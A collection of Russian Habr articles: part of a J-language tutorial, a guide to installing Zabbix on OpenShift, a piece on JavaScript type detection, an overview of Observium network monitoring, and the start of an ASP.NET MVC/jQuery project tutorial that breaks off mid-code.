А что, если нам надо возвратить в результате свертки не только конечный результат вычислений, но и все промежуточные результаты (в контексте исходного кода на Python — все промежуточные значения переменной «acc»)? Т.е., например, для вектора «1 2 3 4» после применения глагола «+»«между» ожидается получить «1 3 6 10».
В J для этой цели есть специальное наречие «\»:
```
+/\ 1 2 3 4 NB. эквивалентно выражению: (1) , (1+2), (1+2+3), (1+2+3+4)
1 3 6 10
-/\ 0 1 2 NB. эквивалентно выражению: (0), (0-1), (0-(1-2))
0 _1 1
```
Другие необходимые глаголы — это «/:» и «\:», которые сортируют переданный вектор по возрастанию и по убыванию соответственно. Причем результатом сортировки является вектор из индексов отсортированных элементов:
```
/: 1 3 2
0 2 1
\: 1 3 2
1 2 0
```
Для того, чтобы получить по указанным индексам элементы массива воспользуемся глаголом «{», который извлекает элементы из массива (правый операнд) по указанным индексам (левый операнд). Например:
```
1 0 1 2 { 11 22 33 44
22 11 22 33
```
Другими глаголами для «ручного» индексирования элементов массива являются
* «}.» возвращает «хвост»массива, т.е. все элементы кроме первого.
* «{.» возвращает «голову»массива, т.е. первый элемент массива.
* «{:» возвращает последний элемент массива.
* «}:» возвращает все элементы массива кроме последнего.
Вспомним наречие «~», которое меняет в вызове правый и левый операнд местами, и приведем несколько более сложный пример:
```
({~ /:) (? (5 $ 0))
0.221507 0.293786 0.691701 0.72826 0.839186
```
В данном примере генерируется последовательность из 5 случайных вещественных чисел, затем к результату применяется хук из глаголов «{~» и «/:».
3. Многомерные массивы и ранги
------------------------------
Про многомерные массивы мы уже упоминали. Логично было бы предположить, что раз стандартные глаголы работают как с числами, так и с векторами чисел, то так же точно они могут обрабатывать многомерные массивы данных.
```
]x =: i.2 3 NB. глагол ] возвращает свой правый операнд, т.е. в данном случае переменную x
0 1 2
3 4 5
x + 10 20 30
|length error
x + 10 20
10 11 12
23 24 25
```
Как мы видим, если выполнить стандартный глагол над матрицей и вектором, то по умолчанию будет выполняться действие «по столбцам». В примере «10» прибавляется к элементу на первой строке каждого столбца, а «20» — на второй строке. Размерность массива в примере 2 на 3. Будем говорить тогда, что первый ранг этого массива равен 2, а второй ранг равен 3. Раз по умолчанию глагол применяется к столбцам матрицы, то можно сказать, что он применяется по второму рангу.
Это общее правило для J — глаголы по умолчанию применяются к крайнему рангу массива. Для того, чтобы явно указать ранг глагола используется специальный союз «"» (двойные кавычки), который левым операндом принимает глагол, правым — ранг (целое число). Например:
```
(i.2 3) + 10 20
10 11 12
23 24 25
(i.2 3) +"2 (10 20)
10 11 12
23 24 25
```
Как видим, эти два выражения эквивалентны. Обратите внимание на скобки вокруг вектора (10 20). Если их не поставить, то транслятор J будет считать, что ранг глагола равен «2 10 20», а правый операнд у глагола не указан. Чтобы явно не указывать ранг глагола, рекомендуется использовать знак бесконечности «\_»:
```
(i.2 3) +"_ (10 20)
10 11 12
23 24 25
```
Результат от этого не изменится. Если же поменять ранг глагола на 1:
```
(i.2 3) +"1 (10 20)
|length error
```
Ошибка данного выражения заключается в том, что мы пытаемся применить глагол суммирования к вектору длиной 2 (правый операнд) и к вектору-строке левого операнда длиной 3. Изменим немного наш пример:
```
(i.2 3) +"1 (10 20 30)
10 21 32
13 24 35
```
Результат соответствует последовательному суммированию i-го элемента правого операнда и каждого i-го элемента каждой строки левого операнда.
*Заключительная статья цикла [Язык программирования J. Взгляд любителя. Часть 4. Коробки и циклы. Заключение](http://habrahabr.ru/post/198230/)* | https://habr.com/ru/post/198228/ | null | ru | null |
# Установка Zabbix 2.4 на RedHat Openshift
Недавно мне потребовался собственный «облачный» сервер мониторинга бюджетом в 0 рублей. В качестве решения был выбран zabbix на платформе openshift. Данный вариант подходит для резервного базового мониторинга или мониторинга небольшого портала с помошью web-scenarios и кастомных скриптов через UserParameter.
Решил поделиться данным экспериментом с сообществом, в том числе с целью получить конструктивную критику.
Первым делом, естественно, нужно зарегистрироваться на [openshift](https://openshift.redhat.com). Для работы zabbix потребуется application с набором картриджей mysql и crontab. Выглядит это примерно следующим образом:
Тут же можно взять строку для соединения с сервером openshift, нажав на «Want to log in your application?». Надо разместить в [хранилище публичных ключей](https://openshift.redhat.com/app/console/settings) openshift свой публичный ssh-ключ.
Скачать последнюю версию zabbix можно с [официального сайта](http://www.zabbix.com/ru/download.php). На сервере openshift создаём каталог для сборки исполняемых файлов zabbix, заливаем туда исходники, распаковываем и собираем:
```
]\>mkdir -p /tmp/BUILD ; cd /tmp/BUILD ; wget http://downloads.sourceforge.net/project/zabbix/ZABBIX%20Latest%20Stable/2.4.6/zabbix-2.4.6.tar.gz ; tar xf zabbix-2.4.6.tar.gz ; cd zabbix-2.4.6 ; > mkdir /var/lib/openshift/$OPENSHIFT_APP_UUID/app-root/data/zabbix
]\>./configure --enable-server --enable-java --with-mysql --with-libcurl --enable-agent --with-ssh2 --prefix=/var/lib/openshift/$OPENSHIFT_APP_UUID/app-root/data/zabbix
]\> make
]\> make install
```
Настраиваем сервер и агент для работы в среде openshift. Тут надо будет в конфигурационном файле заменить $OPENSHIFT\_APP\_UUID и $OPENSHIFT\_PHP\_IP на соответствующий приложению:
```
]\> export | grep OPENSHIFT_PHP_IP
declare -x OPENSHIFT_PHP_IP="127.13.151.129"
]\> export | grep OPENSHIFT_APP_UUID
declare -x OPENSHIFT_APP_UUID="55e9bc400c1e66a589000029"
]\>vi /var/lib/openshift/$OPENSHIFT_APP_UUID/app-root/data/zabbix/etc/zabbix_server.conf
ListenIP=$OPENSHIFT_PHP_IP
ListenPort=30051
LogFile=/tmp/zabbix_server.log
LogFileSize=5
DebugLevel=3
PidFile=/tmp/zabbix_server.pid
DBHost=localhost
DBName=zabbix
#DBSchema=zabbix
DBUser=zabbix
DBPassword=<ПАРОЛЬ>
DBSocket=/var/lib/openshift/$OPENSHIFT_APP_UUID/mysql/socket/mysql.sock
]\>vi /var/lib/openshift/$OPENSHIFT_APP_UUID/app-root/data/zabbix/etc/zabbix_agentd.conf
PidFile=/tmp/zabbix_agentd.pid
LogFile=/tmp/zabbix_agentd.log
LogFileSize=5
DebugLevel=3
Server=127.13.151.129
ServerActive=127.13.151.129:30051
ListenPort=30050
ListenIP=127.13.151.129
StartAgents=3
Hostname=Zabbix server
```
Запускаем для проверки:
```
/var/lib/openshift/$OPENSHIFT_APP_UUID/app-root/data/zabbix/sbin/zabbix_server -c /var/lib/openshift/$OPENSHIFT_APP_UUID/app-root/data/zabbix/etc/zabbix_server.conf
/var/lib/openshift/$OPENSHIFT_APP_UUID/app-root/data/zabbix/sbin/zabbix_agentd -c /var/lib/openshift/$OPENSHIFT_APP_UUID/app-root/data/zabbix/etc/zabbix_agentd.conf
```
Смотрим в логи:
```
[zabbix-chinacoolhacker.rhcloud.com zabbix]\> tail -3 /tmp/zabbix_server.log
82320:20150904:153339.334 server #24 started [escalator #1]
82321:20150904:153339.334 server #25 started [proxy poller #1]
82323:20150904:153339.335 server #26 started [self-monitoring #1]
[zabbix-chinacoolhacker.rhcloud.com zabbix]\> tail -2 /tmp/zabbix_agentd.log
111422:20150904:154248.644 agent #4 started [listener #3]
111423:20150904:154248.644 agent #5 started [active checks #1]
```
Исполняемый код работает, можно переходить к фронт-энду.
Тут я решил воспользоваться встроенным функционалом openshift — деплой через git. Клонировал себе на локалхост «болванку» сайта:
```
% git clone ssh://55e9bc400c1e66a589000029@zabbix-chinacoolhacker.rhcloud.com/~/git/zabbix.git/
```
Существует 2 варианта настройки фронт-энда zabbix- с помощью правки конфига и через удобный gui. Оба варианта рабочие, но при рестарте рискуем потерять изменения внесённые помимо гита — поэтому я делаю через конфиг, это не сложно. Скопировал содержимое фронт-энда из архива zabbix. Удаляю setup.php чтобы злоумышленники не смогли внести изменения в мою инсталляцию и правлю конфиг под свои нужды:
```
c@pentahon:~/ZABBIX/zabbix % rm -f setup.php
c@pentahon:~/ZABBIX/zabbix % cd conf
c@pentahon:~/ZABBIX/zabbix/conf % mv zabbix.conf.php.example zabbix.conf.php
c@pentahon:~/ZABBIX/zabbix/conf % vi zabbix.conf.php
// Zabbix GUI configuration file.
global $DB;
$DB["TYPE"] = 'MYSQL';
$DB["SERVER"] = 'localhost';
$DB["PORT"] = '0';
$DB["DATABASE"] = 'zabbix';
$DB["USER"] = 'zabbix';
$DB["PASSWORD"] = 'oDWp7akWrxWiMAIRCoYJ';
// Schema name. Used for IBM DB2 and PostgreSQL.
$DB["SCHEMA"] = '';
$ZBX_SERVER = '127.13.151.129';
$ZBX_SERVER_PORT = '30051';
$ZBX_SERVER_NAME = 'Overseer';
$IMAGE_FORMAT_DEFAULT = IMAGE_FORMAT_PNG;
?>
```
Создаём .htaccess в корне сайта:
```
c@pentahon:~/ZABBIX/zabbix/conf % cd ..
c@pentahon:~/ZABBIX/zabbix % vi .htaccess
php_value upload_max_filesize 20M
php_value date.timezone Europe/Moscow
php_value post_max_size 20M
php_value max_execution_time 300
php_value max_input_time 300
php_value max_input_time 300
php_value mysql.default_socket "/var/lib/stickshift/$OPENSHIFT_APP_UUID/mysql-5.1/socket/mysql.sock"
```
Все в гит!
```
git add *
git add .htaccess
git commit -m "zabb"
git push
```
После удачного пуша можно заходить в веб-интерфейс (логин\пароль — admin\zabbix, не забудьте его сменить!) и настраивать мониторинг:
Чтобы заработал агент и начали собираться метрики необходимо изменить настройки ip и порта:
Теперь надо добавить несколько задач в крон — для рестарта приложений сервера и агента в случае их падения. Crontab расположен в /var/lib/openshift/55e9bc400c1e66a589000029/app-root/runtime/repo/.openshift/cron. Создаём файлы:
```
mkdir /tmp/status
]\> vi minutely/zabbixwatchog.sh
#!/bin/bash
### config
pidof_prog="/sbin/pidof"
###
zabbix_agentd_prog=/var/lib/openshift/$OPENSHIFT_APP_UUID/app-root/data/zabbix/sbin/zabbix_agentd
zabbix_agentd_conf=/var/lib/openshift/$OPENSHIFT_APP_UUID/app-root/data/zabbix/etc/zabbix_agentd.conf
zabbix_server_prog=/var/lib/openshift/$OPENSHIFT_APP_UUID/app-root/data/zabbix/sbin/zabbix_server
zabbix_server_conf=/var/lib/openshift/$OPENSHIFT_APP_UUID/app-root/data/zabbix/etc/zabbix_server.conf
###
agentstatlog=/tmp/status/agentstat.log
serverstatlog=/tmp/status/serverstat.log
###
### server lifekeeper ###
serverststat=`$pidof_prog $zabbix_server_prog`
if [ "$serverststat" ]
then
echo "`date` : server pids: $serverststat" >> $serverstatlog;
else
echo "restarting server at `date`" >> $serverstatlog;
$zabbix_server_prog -c $zabbix_server_conf;
sleep 3
echo "`date` SERVER started with pids: `$pidof_prog $zabbix_server_prog` " >> $serverstatlog;
fi
### agent lifekeeper ###
agentstat=`$pidof_prog $zabbix_agentd_prog`
if [ "$agentstat" ]
then
echo "`date` : agent pids: $agentstat" >> $agentstatlog;
else
echo "restarting agent at `date`" >> $agentstatlog;
$zabbix_agentd_prog -c $zabbix_agentd_conf;
sleep 3
echo "`date` agent started with pids: `$pidof_prog $zabbix_agentd_prog` " >> $agentstatlog;
fi
#
]\> vi daily/zabbix.sh
#!/bin/bash
cp /tmp/status/agentstat.log /tmp/status/agentstat.log.`date +%Y-%m-%d` && echo '' > /tmp/status/agentstat.log
cp /tmp/status/serverstat.log /tmp/status/serverstat.log.`date +%Y-%m-%d` && echo '' > /tmp/status/serverstat.log
find /tmp/status/ -mtime +7 -exec rm {} \;
```
Теперь в случае отсутствия в системе процессов zabbix они автоматически запустятся по крону.
P.S.
Данная инсталляция хорошо подходит для web-scenarios и кастомных проверок на основе UserParamater, запускаемых с агента, непосредственно установленного на сервер OpenShift.
Как правильно заметил [Disen](https://habr.com/ru/users/disen/), по соображениям безопасности **не рекомендуется** выставлять порты zabbix-agent своих серверов в интернет! | https://habr.com/ru/post/266327/ | null | ru | null |
# typeof Everything и утиные недоразумения
Каждый, использующий в каких бы то ни было целях замечательный **JavaScript**, задавался вопросом: мол а почему *typeof null* — это *"object"*? *typeof* от функции возвращает *"function"*, но от *Array* — *"object"*? а где же *getClass* у ваших хваленых классов? И хотя на большую часть легко и непринужденно отвечает [спецификация](https://www.ecma-international.org/ecma-262/5.1/#sec-11.4.3) или [исторические факты](http://2ality.com/2013/10/typeof-null.html), я бы хотел немного подвести черту… в большей степени для самого себя.
Если, читатель, тебе в твоих задачах тоже недостаточно *typeof* да *instanceof* и хочется какой-то конкретики, а не *"object"*ы, то дальше может быть полезно. Ах да, про утки: они будут тоже, только немного неправильные.
Краткая история вопроса
-----------------------
Достоверно получить тип какой-то переменной в JavaScript всегда было задачей нетривиальной, точно не для новичка. В большинстве случаев оно конечно и не требуется, просто:
```
if (typeof value === 'object' && value !== null) {
// awesome code around the object
}
```
и вот вы уже не ловите `Cannot read property of null` — местный аналог NPE. Знакомо?
А потом мы начали все чаще использовать функции как конструкторы, а проинспектировать тип созданного таким образом объекта иногда полезно. Но просто использовать *typeof* от экземпляра не получится, так как мы верно получим *"object"*.
Тогда еще было нормальным использовать прототипную модель ООП в JavaScript, помните? У нас есть некоторый объект, и через ссылку на его прототип мы можем найти свойство *constructor*, указывающее на функцию, с помощью которой объект был создан. А дальше немного магии с *toString* от функции и регулярными выражениями и вот он результат:
```
f.toString().match(/function\s+(\w+)(?=\s*\()/m)[1]
```
Иногда такое на собеседованиях спрашивали, но зачем?
Да мы просто могли в прототип сохранять специальным свойством строковое представление типа и от объекта получать его по цепочке прототипов:
```
function Type() {};
Type.prototype.typeName = 'Type';
var o = new Type;
o.typeName;
< "Type"
```
Только два раза приходится писать *"Type"*: в объявлении функции и в свойство.
Для встроенных же объектов (как *Array* или *Date*) у нас было [секретное свойство](https://learn.javascript.ru/class-instanceof) *[[Class]]*, которое можно было выцепить через *toString* от стандартного объекта *Object*:
```
Object.prototype.toString.call(new Array);
< "[object Array]"
```
Сейчас у нас появились классы, и пользовательские типы окончательно закрепились в языке: это вам уже не какой-нибудь LiveScript; мы пишем поддерживаемый код в больших количествах!
Примерно в это же время появились *Symbol.toStringTag* и *Function.name*, с помощью которых мы можем по-новому взять наш *typeof*.
Вообще, прежде чем мы перейдем далее, хочу отметить, что рассматриваемый вопрос эволюционирует на StackOverflow вместе с языком и поднимается от редакции к редакции: [9 лет назад](https://stackoverflow.com/questions/332422/get-the-name-of-an-objects-type), [7 лет назад](https://stackoverflow.com/questions/4456336/finding-variable-type-in-javascript), [не так давно](https://stackoverflow.com/questions/24403732/check-if-array-is-empty-does-not-exist-js) или [это](https://stackoverflow.com/questions/4059147/check-if-a-variable-is-a-string-in-javascript) и [это еще](https://stackoverflow.com/questions/38160195/class-property-in-es2015).
Текущее положение дел
---------------------
Ранее мы [уже рассматривали](https://habr.com/post/414495/) достаточно подробно *Symbol.toStringTag* и *Function.name*. Если коротко, то внутренний символ *toStringTag* — это современный *[[Class]]*, только мы можем его переопределять для своих объектов. А свойство *Function.name* — это узаконенный почти во всех браузерах тот самый *typeName* из примера: возвращает название функции.
Не долго думая, можно определить такую функцию:
```
function getTag(any) {
if (typeof any === 'object' && any !== null) {
if (typeof any[Symbol.toStringTag] === 'string') {
return any[Symbol.toStringTag];
}
if (typeof any.constructor === 'function'
&& typeof any.constructor.name === 'string') {
return any.constructor.name;
}
}
return Object.prototype.toString.call(any).match(/\[object\s(\w+)]/)[1];
}
```
1. ЕСЛИ переменная является объектом, то:
1.1. ЕСЛИ у объекта переопределен *toStringTag*, то вернуть его;
1.2. ЕСЛИ у объекта известна функция *constructor* и у функции определено свойство *name*, то вернуть его;
2. НАКОНЕЦ ИНАЧЕ использовать метод *toString* объекта *Object*, который сделает за нас [всю полиморфную работу](https://www.ecma-international.org/ecma-262/8.0/index.html#sec-object.prototype.tostring) для абсолютно любой другой переменной.
Объект с *toStringTag*:
```
let kitten = {
[Symbol.toStringTag]: 'Kitten'
};
getTag(kitten);
< "Kitten"
```
Класс с *toStringTag*:
```
class Cat {
get [Symbol.toStringTag]() {
return 'Kitten';
}
}
getTag(new Cat);
< "Kitten"
```
Использование *constructor.name*:
```
class Dog {}
getTag(new Dog);
< "Dog"
```
→ Больше примеров можно посмотреть в [этом репозитории](https://github.com/cerberus-ab/jsobj-analyzer#get-tag)
Таким образом, сейчас довольно просто можно определить тип любой переменной в JavaScript. Эта функция позволяет единообразно проверять переменные на тип и использовать простой *switch expression* вместо [утиных проверок](https://learn.javascript.ru/class-instanceof#utinaya-tipizatsiya) в полиморфных функциях. Мне вообще никогда не нравился подход, основанный на утиной типизации мол если у чего-то есть свойство *splice*, то это массив что ли?
Какие-то неправильные утки
--------------------------
Понимать тип переменной по наличию определенных методов или свойств — дело конечно каждого и зависит от ситуации. Но я возьму этот *getTag* и поинспектирую некоторые штуки языка.
### Классы?
Моя любимая "утка" в JavaScript — это классы. Ребята, которые начинали писать на JavaScript c ES-2015, бывает и не подозревают, что эти классы из себя представляют. И правда:
```
class Person {
constructor(name) {
this.name = name;
}
hello() {
return this.name;
}
}
let user = new Person('John');
user.hello();
< "John"
```
У нас есть ключевое слово *class*, констуктор, какие-то методы, даже *extends*. Еще мы создаем экземпляр этого класса через *new*. Выглядит как класс в привычном его понимании — значит класс!
Однако, когда начинаешь добавлять новые методы в *real-time* в "класс", и при этом они становятся сразу доступными для уже созданных экземляров, некоторые теряются:
```
Person.prototype.hello = function() {
return `Is not ${this.name}`;
}
user.hello();
< "Is not John"
```
**Не надо так делать!**
А не некоторые достоверно знают, что это всего лишь синтаксический сахар над прототипной моделью, потому что концептуально в языке ничего не поменялось. Если вызвать *getTag* от *Person*, то получим *"Function"*, а не выдуманный *"Class"*, и об этом стоит помнить.
### Другие функции
В JavaScript есть несколько способов объявления функции: *FunctionDeclaration*, *FunctionExpression* и недавно *ArrowFunction*. Все мы знаем, когда и что следует использовать: вещи то довольно разные. При этом если вызвать *getTag* от функции, объявленной любым из предложенных вариантов, то получим *"Function"*.
На самом деле, в языке гораздо больше способов задать функцию. Добавим в список как минимум рассмотренный *ClassDeclaration*, потом асинхронные функции и генераторы, прочее: *AsyncFunctionDeclaration*, *AsyncFunctionExpression*, *AsyncArrowFunction*, *GeneratorDeclaration*, *GeneratorExpression*, *ClassExpression*, *MethodDefinition* (список не полный). И кажется мол ну и что? все перечисленное ведет себя как функция — значит тоже *getTag* вернет *"Function"*. Но есть одна особенность: все варианты безусловно являются функциями, но не все напрямую — *Function*.
Имеют место [встроенные подтипы](https://www.ecma-international.org/ecma-262/8.0/index.html#sec-function-constructor) *Function*:
> The Function constructor is designed to be subclassable.
>
> There is no syntactic means to create instances of Function subclasses except for the built-in GeneratorFunction and AsyncFunction subclasses.
У нас есть *Function* и внутри "унаследованные" от него *GeneratorFunction* и *AsyncFunction* со своими конструкторами. Это подчеркивает, что асинки и генераторы имеют свою уникальную природу. И как итог:
```
async function sleep(ms) {
return new Promise(resolve => setTimeout(resolve, ms));
}
getTag(sleep);
< "AsyncFunction"
```
При этом мы не можем инстанцировать такую функцию через оператор *new*, а ее вызов возвращает нам *Promise*:
```
getTag(sleep(100));
< "Promise"
```
Пример с функцией-генератором:
```
function* incg(i) { while(1) yield i += 1; }
getTag(incg);
< "GeneratorFunction"
```
Вызов такой функции возвращает нам экземпляр — объект *Generator*:
```
let inc = incg(0);
getTag(inc);
< "Generator"
```
Символ *toStringTag* справедливо переопределен для асинков и генераторов. А вот *typeof* для любой функции покажет *"function"*.
### Встроенные объекты
У нас есть такие вещи, как например *Set*, *Map*, *Date* или *Error*. Применение *getTag* к ним вернет *"Function"*, потому что это и есть функции — конструкторы итерируемых коллекций, даты и ошибки. От экземпляров мы получим соответственно — *"Set"*, *"Map"*, *"Date"* и "*Error*".
Но осторожно! еще есть такие объекты, как *JSON* или *Math*. Если поторопиться, то можно предположить аналогичную ситуацию. Но нет! это совсем другое — встроенные объекты-одиночки. Они не инстанцируемы (`is not a constructor`). Вызов *typeof* вернет *"object"* (кто бы сомневался). А вот *getTag* обратится к *toStringTag* и получит *"JSON"* и *"Math"*. Это последнее наблюдение, которым мне хочется поделиться.
Давайте без фанатизма
---------------------
Я чуть глубже обычного задался вопросом о типе переменной в JavaScript совсем недавно, когда решил написать свой [простенький инспектор объекта](https://github.com/cerberus-ab/jsobj-analyzer) для динамического анализа кода (побаловаться). Материал не просто так публикую в *Ненормальном программировании*, так как оно вам не нужно в продакшне: есть *typeof*, *instanceof*, *Array.isArray*, *isNaN* и все остальное, о чем стоит помнить, осуществляя необходимую проверку. В большинстве проектов и вовсе TypeScript, Dart или Flow. Мне просто нравится **JavaScript**! | https://habr.com/ru/post/427253/ | null | ru | null |
# Мониторинг сетевого оборудования Cisco в системе Observium
Observium — это система, ориентированная на сбор и анализ информации, позволяющая выявлять глубинные проблемы в работе сети. Если перед вами стоит задача провести аудит сетевого оборудования, составить схему и IP план незнакомой сети — Observium один из лучших бесплатных инструментов для этого. В статье содержится обзор основных возможностей системы — в первую очередь применительно к оборудованию Cisco, а также несколько реальных примеров выявления проблем с сетью заказчика при помощи Observium (много картинок).
В этой статье я постараюсь описать основные возможности системы, не затрагивая процесс установки и конфигурирования.
Observium доступен в двух версиях — бесплатной Community и умеренно платной Professional (150 английских фунтов за годовую подписку). Ниже будет рассмотрена только Community версия.
Опрос устройств осуществляется по протоколу SNMP. Для добавления маршрутизатора Cisco достаточно задать SNMP community:
```
snmp-server community public RO
```
Добавление устройств в Observium осуществляется либо через меню веб интерфейса (Devices->Add device), либо из командной строки сервера:
```
./add_device.php hostname
```
На вкладке Devices доступен список добавленных устройств с возможностью фильтрации по типу платформы и версии ПО, что удобно, например, при подготовке к апгрейду:
Информация об устройстве содержит данные по загрузке процессора, памяти и график суммарного трафика со всех портов:
Наибольший интерес представляет вкладка Ports, где отображается список доступных интерфейсов с указанием IP и MAC адресов, текущей загрузкой трафика Unicast Up/Down Link, Broadcast Up/Down Link и другой полезной информацией. В последней колонке указываются соседние устройства (при условии, что они тоже добавлены в мониторинг), что очень удобно при составлении схемы сети.
Если на устройствах включен протокол CDP/LLDP, можно увидеть карту соседей:
Также доступна информация по включенным протоколам маршрутизации (пример по OSPF):
На вкладке Inventory содержится список плат и серийников, вплоть до SFP модулей (здесь часть информации отображается некорректно, т.к. использовался эмулятор GNS3 вместо реального маршрутизатора)
Observium можно использовать для просмотра Syslog сообщений (интеграция с RSyslog):
Из сторонних приложений поддерживается еще сборщик конфигов RANCID, что позволяет просматривать сохраненный конфиг:
Помимо сетевого железа Observium может мониторить сервера и рабочие станции Windows. При этом устанавливать агента не требуется, достаточно запустить и настроить службу SNMP. Как и для маршрутизаторов доступна информация по сетевым картам — IP, MAC, порт подключения соседнего устройства. Здесь закончилось место на диске D:
Возможностей по мониторингу Linux серверов больше. В простейшем варианте достаточно установки snmpd:
При дополнительной установке скриптов Unix Agent можно мониторить отдельные приложения, например Apache:
Собственно как мониторинг Observium Community годится только для сервисов не критичных к времени реакции, т.к. устройства по SNMP опрашиваются раз в 5 минут. В платной же версии предусмотрен модуль Alarms.
К минусам еще можно отнести не очень удобно реализованную карту с устройствами — она привязана к google maps, что требует подключения к интернету. Кастомные карты, как в том же zabbix, не предусмотрены. Пример главной страницы с отключенной картой:
Внизу главной страницы сообщения Syslog:
И напоследок 2 примера проблем, решенных с помощью Observium.
1. Заказчик жалуется на потерю пакетов в канале между центральным узлом и филиалом.
График загрузки интерфейса на центральном узле(фиолетовый цвет — исходящий трафик):
График загрузки интерфейса в филиале(зеленый цвет — входящий трафик):
Как оказалось, провайдер вместо заявленных 10Mbit/s предоставлял услугу в филиале на скорости 2Mbit/s. Также графики загрузки позволили правильно настроить политики QoS — необходимо было шейпить исходящий трафик на центральном узле до скорости филиала 10Mbit/s
2. Заказчик жалуется на задержку в получении IP адреса по протоколу DHCP.
Выявлена аномальная загрузка процессора на коммутаторе:
Что сразу наводит на мысли о Broadcast шторме. График Broadcast трафика подтверждает догадку — активность по времени совпадает с загрузкой CPU:
Графики по всем портам позволяют определить источник(фиолетовый цвет):
На этом все, будет время, постараюсь написать статью по конфигурированию Observium. | https://habr.com/ru/post/249549/ | null | ru | null |
# Пример web-проекта на VS2010
Выход VS 2010 для меня, в первую очередь, это возможность работать с .Net 4, Entity Framework 4, ASP.NET MVC 2.
Все полученные теоретические знания, на мой взгляд должны быть выражены в практическом опыте. Поэтому как только представилась возможность, я реализовал проект с использованием VS 2010. И теперь готов поделиться своими впечатлениями от новых возможностей.
Статья рассчитана на искушенных разработчиков )
Не так давно на одном из собеседований мне предложили задачу, которую я решил сделать с использованием VS 2010, т.к. в условиях не было оговорено другого. Это задание для меня было прежде всего хорошим поводом познакомиться с предлагаемыми возможностями.
Коротко о условиях: *Написать web-приложение для поиска и отображения данных из таблицы Customers БД [MS SQL Server NorthWind](http://goo.gl/lz9b "MS SQL Server NorthWind"). Поиск должен осуществляться по следующим критериям: страна (country), город (city), название компании (company name). Учитывать, что условия поиска могут быть заданы частично.*
Мне больше всего нравиться создавать удобные для пользователя решения. На мой взгляд лучшим решением для пользователя в web является ajax. То есть работа сайта без перезагрузки страницы. Именно такой интерфейс я поставил своей целью создать.
Выбор деталей
-------------
Я решил выбирать то что мне больше нравиться из инструментов с которыми работаю постоянно.
Во-первых это [jQuery](http://jquery.com "jQuery"). Потому что мне часто приходиться разрабатывать rich интерфейсы и потому что я люблю этот framework. За долго до его попадания в VS, и его популяризации. Благодаря его гибкости чувствуешь себя джедаем )
Во-вторых это Entity Framework 4. С ним знаком не так давно, с версии 3.5. MS рекомендует именно EF для разработчиков, а чтение блога разработчиков EF убедило меня в том что EF 4 будет тем что от него ждут. Наконец-то есть встроенная возможность отделить адаптеры от дата объектов. Об этом я обязательно напишу позже, я имею в виду [Poco](http://code.msdn.microsoft.com/EFPocoAdapter "Poco") генерацию объектов на основе [t4 templates](http://www.hanselman.com/blog/T4TextTemplateTransformationToolkitCodeGenerationBestKeptVisualStudioSecret.aspx "t4 templates"). А наличие Linq to Entity добавляет этому фреймверку такого же ощущения легкости. Световой меч мне! )
В третьих, ASP.NET MVC 2 - это основа нашего приложения. Когда её не было я сделал нечто очень похожее с помощью подручных средств (rewrite путей, свои клиентские view, контроллеры в виде web services, ...) и с удовольствием все это выкинул, когда вышло решение от MS. Мне повезло использовать mvc начиная с релизов. Это ещё одна моя любовь )
И последнее, для ajax я решил использовать web services. Дело в том что я занят разработкой гетерогенных приложений, в которых web это только часть системы, а есть ещё куча другого софта. Да, я намекаю на WCF ) Т.к. наши web service обмениваются DTO, то мы можем добавить к ним data атрибуты и сделать из них сервис контракты и наше приложение смогут использовать другие. Ну разве не прелесть? )
Паззл
-----
Что касается [архитектуры, то я придерживаюсь общепринятых стандартов](http://apparchguide.ms/Book "архитектуры, то я придерживаюсь общепринятых стандартов"). Я очень рад, что MS однозначно выразила свою точку зрения на этот счет. То что достаточно помнить, для нашего проекта:
* принцип меньшей связанности
* каждый слой знает только о предыдущем
Под слоями подразумевается
* View (xHtml + js)
* (Web) Application (asp.net vew, web services)
* Data Access Layer (Entity Framework)
* Database (SQL Server)
между собой они общаются с помощью Data Transfer Object (DTO)
У меня есть привычка — всегда начинать с View )
### Делаем view
я изменил Index.aspx
> `1. <form id="customer-search-form" action="/" enctype="application/x-www-form-urlencoded" method="get">
> 2.
> 3. <label>Company Name <input name="name" />label>
> 4. <label>City <input name="city" />label>
> 5. <label>Country <input name="country" />label>
> 6.
> 7. <input type="submit" value="search" />
> 8. form>
> 9.
> 10. <div id="customer-search-result">
> 11. <table>
> 12. <thead>
> 13. <tr>
> 14. <th class="CustomerID">idth>
> 15. <th class="CompanyName">nameth>
> 16. <th class="ContactTitle">contractth>
> 17. <th class="City">cityth>
> 18. <th class="Country">countryth>
> 19. <th class="Phone">phoneth>
> 20. <th class="Fax">faxth>
> 21. tr>
> 22. thead>
> 23. <tbody>tbody>
> 24. table>
> 25. div>
> \* This source code was highlighted with Source Code Highlighter.`
Тут наверно все понятно. Поясню только название классов в th. Они буду использоваться как теги, для отображения выборки. В проект я решил добавить несколько plugin'ов к jQuery:
* [DataTable](http://datatables.net/ "DataTable") нужен для отображения грида, page'натора, сортировки.
* [Autocomplete](http://bassistance.de/jquery-plugins/jquery-plugin-autocomplete/ "autocomplete") для удобного выбор вариантов поиска в форме.
* [Json](http://code.google.com/p/jquery-json/ "json") для того чтоб корректно передать запрос web service'ам.
Добавляем в Site.Master ссылки на подключенные plugin'ы и добавляем свой js файл, я назвал его customer-list.js
### JavaScript
Я знаю что такое [closure](http://habrahabr.ru/blogs/webdev/49772/ "closure"), поэтому добавляем в начале и конце:
> `(function(){
>
>
>
> $(function(){
>
>
>
> //....код мы будем писать здесь...
>
>
>
> });
>
>
>
> })();
>
>
>
> \* This source code was highlighted with Source Code Highlighter.`
заодно добавляя старт нашего кода на загрузку. Т.к. у нас одно view, то я не стал делать jQuery plugin
Настраиваем Ajax для соединения с web services:
> `$.ajaxSetup({
>
> type:'post',
>
> contentType: 'application/json; charset=utf-8',
>
> dataType: "json"
>
> });
>
>
>
> \* This source code was highlighted with Source Code Highlighter.`
Находим то с чем будем работать:
> `var $result = $('#customer-search-result');
>
> var $form = $('#customer-search-form');
>
>
>
> \* This source code was highlighted with Source Code Highlighter.`
Вопрос, наверно, вызывает $ в начале переменных ) PHP тут ни при чем ) Я называю так переменные, которые обернуты в jQuery, для того чтоб их было сразу видно. И понятно что от них ожидать.
Далее, я настраиваю [Autocomplete](http://bassistance.de/jquery-plugins/jquery-plugin-autocomplete/ "autocomplete"). Т.к. у нас будет три поля и три соответствующих сервиса, то проще объединить настройки в один объект, а потом и пользоваться:
> `var paramsAutocomplete = {
>
> name: '',
>
> queryParams: function(info){
>
> var res = {};
>
>
>
> res[this.name] = info.q;
>
>
>
> return $.toJSON(res);
>
> },
>
> formatItem: function(row, i, max, term) {
>
> return row.replace(new RegExp("(" + term + ")", "gi"), '$1');
>
> },
>
> parse: function(data) {
>
> var parsed = [];
>
>
>
